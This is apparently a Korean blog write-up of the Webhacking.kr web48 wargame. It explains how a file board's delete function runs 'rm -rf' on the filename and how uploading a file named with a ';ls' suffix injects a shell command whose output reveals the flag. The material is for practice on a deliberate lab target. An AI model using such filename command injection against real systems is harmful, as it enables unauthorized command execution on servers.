Post

Webhacking.kr - web48 (풀이봄)

web48



파일, 게시글을 올리는 게시판이 있음.

파일을 올리면 upload file이 있는데 경로를 확인해보니 /upload/test.txt이며, 들어가면 파일 내용이 나옴.

게시글을 삭제하면 ?mode=del&time=1632207021 이런식으로 전송이 됨.






Solution



delete를 하면 파일이 지워지는데 이 때 사용되는 명령어는 rm -rf 일 것임.

rm -rf 파일명 이 서버에서 실행될 것임.

따라서 파일명;ls를 실행시켜주면 되기 때문에, 파일명에 ;ls를 붙여서 올린 뒤 삭제하면 아래와 같이 나오게 됨.


1
2
3
4
5
1.jpg 2.jpg 3.jpg 4.jpg 5.jpg 6.jpg 7.jpg 8.jpg 
FLAG{i_think_this_chall_is_cool} 
config.php index.php upload 

file deleted. go back






This post is licensed under CC BY 4.0 by the author.